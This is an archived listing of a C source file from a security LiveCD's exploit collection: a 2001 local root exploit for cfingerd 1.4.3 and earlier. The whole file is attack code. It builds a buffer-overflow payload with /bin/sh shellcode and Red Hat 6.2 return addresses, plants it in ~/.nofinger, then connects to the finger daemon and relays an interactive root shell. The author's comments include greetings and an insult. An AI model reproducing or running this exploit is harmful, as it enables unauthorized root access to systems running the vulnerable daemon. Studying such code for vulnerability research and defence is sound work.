home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / finger / cfingerd / cfingerd0x69.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  6KB  |  227 lines

  1. /*
  2.  * cfingerd 1.4.3 and prior Linux x86 local root exploit
  3.  * by qitest1 10/07/2001
  4.  *
  5.  * This code successfully exploits the bof vulnerability found by
  6.  * Steven Van Acker <deepstar@ulyssis.org> and recently posted to
  7.  * bugtraq. If the ALLOW_LINE_PARSING option is set, and it is set
  8.  * by default, the bof simply occurs when reading the ~/.nofinger
  9.  * file. If cfingerd is called by inetd as root, a root shell will be
  10.  * spawned. But it is quite funny that the authors of cfingerd in the
  11.  * README almost seem to encourage people to set inetd.conf for
  12.  * calling cfingerd as root.     
  13.  *
  14.  * Greets: my friends on #sikurezza@Undernet
  15.  *       jtripper: hi man, play_the_game with me! =)
  16.  *       warson and warex
  17.  *
  18.  * Fuck:   fender'/hcezar: I want your respect..
  19.  *
  20.  * have fun with this 0x69 local toy! =) 
  21.  */
  22.  
  23. #include <stdio.h>
  24. #include <pwd.h>
  25. #include <sys/types.h>
  26. #include <unistd.h>
  27. #include <netinet/in.h>
  28. #include <netdb.h>
  29.  
  30. #define    RETPOS        84
  31. #define LOCALHOST    "localhost"
  32. #define    FINGERD_PORT    79
  33.  
  34.   struct targ
  35.     {
  36.       int                  def;
  37.       char                 *descr;
  38.       u_long           retaddr;
  39.     };
  40.  
  41.   struct targ target[]=
  42.     {                   
  43.       {0, "Red Hat 6.2 with cfingerd 1.4.0 from tar.gz", 0xbffff660},
  44.       {1, "Red Hat 6.2 with cfingerd 1.4.1 from tar.gz", 0xbffff661},
  45.       {2, "Red Hat 6.2 with cfingerd 1.4.2 from tar.gz", 0xbffff662},
  46.       {3, "Red Hat 6.2 with cfingerd 1.4.3 from tar.gz", 0xbffff663},
  47.       {69, NULL, 0}
  48.     };
  49.  
  50.   char shellcode[] =            /* Aleph1 code */
  51.   "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  52.   "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  53.   "\x80\xe8\xdc\xff\xff\xff/bin/sh";
  54.  
  55.   int    sel = 0, offset = 0;
  56.  
  57.   void    play_the_game(u_long retaddr, struct passwd *user);
  58.   int    sockami(char *host, int port);
  59.   void    shellami(int sock);
  60.   void  usage(char *progname);
  61.   
  62. int
  63. main(int argc, char **argv)
  64. {
  65.   int            sock, cnt;
  66.   uid_t                 euid;
  67.   char            sbuf[256];
  68.   struct passwd        *user;
  69.  
  70.   printf("\n  cfingerd 1.4.3 and prior exploit by qitest1\n\n");
  71.  
  72.   while((cnt = getopt(argc,argv,"t:o:h")) != EOF)
  73.     {
  74.    switch(cnt)
  75.         {
  76.    case 't':
  77.      sel = atoi(optarg);
  78.      break;
  79.    case 'o':
  80.      offset = atoi(optarg);
  81.      break;
  82.    case 'h':
  83.      usage(argv[0]);
  84.      break;
  85.         }
  86.     }
  87.  
  88.   euid = geteuid();
  89.   user = (struct passwd *)getpwuid(euid);
  90.  
  91.   printf("+User: %s\n  against: %s\n", user->pw_name, target[sel].descr);
  92.   target[sel].retaddr += offset;
  93.   printf("+Using: retaddr = %p...\n  ok\n", target[sel].retaddr);
  94.  
  95.   play_the_game(target[sel].retaddr, user);
  96.  
  97.   sock = sockami(LOCALHOST, FINGERD_PORT);
  98.   sprintf(sbuf, "%s\n", user->pw_name);
  99.   send(sock, sbuf, strlen(sbuf), 0);
  100.  
  101.   printf("+Waiting for a shell...\n  0x69 =)\n");
  102.   sleep(1);
  103.   shellami(sock);  
  104. }
  105.  
  106. void
  107. play_the_game(u_long retaddr, struct passwd *user)
  108. {
  109.   char            zbuf[256], nofinger_path[256];
  110.   int            i, n = 0; 
  111.   FILE             *nofinger_file;
  112.  
  113.   memset(zbuf, '\x90', sizeof(zbuf));
  114.   for(i = RETPOS - strlen(shellcode); i < RETPOS; i++)
  115.         zbuf[i] = shellcode[n++];
  116.   
  117.   zbuf[RETPOS + 0] = (u_char) (retaddr & 0x000000ff);
  118.   zbuf[RETPOS + 1] = (u_char)((retaddr & 0x0000ff00) >> 8);
  119.   zbuf[RETPOS + 2] = (u_char)((retaddr & 0x00ff0000) >> 16);
  120.   zbuf[RETPOS + 3] = (u_char)((retaddr & 0xff000000) >> 24);
  121.   zbuf[RETPOS + 4] = '\x00';
  122.  
  123.   sprintf(nofinger_path, "%s/.nofinger", user->pw_dir);
  124.   nofinger_file = fopen(nofinger_path, "w");
  125.   printf("+Writing ~/.nofinger...\n");
  126.   fprintf(nofinger_file, "$%s\n", zbuf);
  127.   printf("  done\n");
  128.   fclose(nofinger_file);
  129.  
  130.   return;
  131. }
  132.  
  133. int
  134. sockami(char *host, int port)
  135. {
  136. struct sockaddr_in address;
  137. struct hostent *hp;
  138. int sock;
  139.  
  140.   sock = socket(AF_INET, SOCK_STREAM, 0);
  141.   if(sock == -1)
  142.         {
  143.           perror("socket()");
  144.           exit(-1);
  145.         }
  146.  
  147.   hp = gethostbyname(host);
  148.   if(hp == NULL)
  149.         {
  150.           perror("gethostbyname()");
  151.           exit(-1);
  152.         }
  153.  
  154.   memset(&address, 0, sizeof(address));
  155.   memcpy((char *) &address.sin_addr, hp->h_addr, hp->h_length);
  156.   address.sin_family = AF_INET;
  157.   address.sin_port = htons(port);
  158.  
  159.   if(connect(sock, (struct sockaddr *) &address, sizeof(address)) == -1)
  160.         {
  161.           perror("connect()");
  162.           exit(-1);
  163.         }
  164.  
  165.   return(sock);
  166. }
  167.  
  168.  
  169. void
  170. shellami(int sock)
  171. {
  172.   int             n;
  173.   char            recvbuf[1024], *cmd = "id; uname -a\n";
  174.   fd_set          rset;
  175.  
  176.   send(sock, cmd, strlen(cmd), 0);
  177.  
  178.   while (1)
  179.     {
  180.       FD_ZERO(&rset);
  181.       FD_SET(sock, &rset);
  182.       FD_SET(STDIN_FILENO, &rset);
  183.       select(sock+1, &rset, NULL, NULL, NULL);
  184.       if(FD_ISSET(sock, &rset))
  185.         {
  186.           n = read(sock, recvbuf, 1024);
  187.           if (n <= 0)
  188.             {
  189.               printf("Connection closed by foreign host.\n");
  190.               exit(0);
  191.             }
  192.           recvbuf[n] = 0;
  193.           printf("%s", recvbuf);
  194.         }
  195.       if (FD_ISSET(STDIN_FILENO, &rset))
  196.         {
  197.           n = read(STDIN_FILENO, recvbuf, 1024);
  198.           if (n > 0)
  199.             {
  200.               recvbuf[n] = 0;
  201.               write(sock, recvbuf, n);
  202.             }
  203.         }
  204.     }
  205.   return;
  206. }
  207.  
  208. void
  209. usage(char *progname)
  210. {
  211.   int  i = 0;
  212.   
  213.   printf("Usage: %s [options]\n", progname);
  214.   printf("Options:\n"
  215.          "  -t target\n"
  216.          "  -o offset\n"
  217.      "  -h (help)\n"
  218.          "Available targets:\n");
  219.   while(target[i].def != 69)
  220.         { 
  221.           printf("  %d) %s\n", target[i].def, target[i].descr);
  222.           i++;
  223.         } 
  224.  
  225.   exit(1);
  226. }
  227.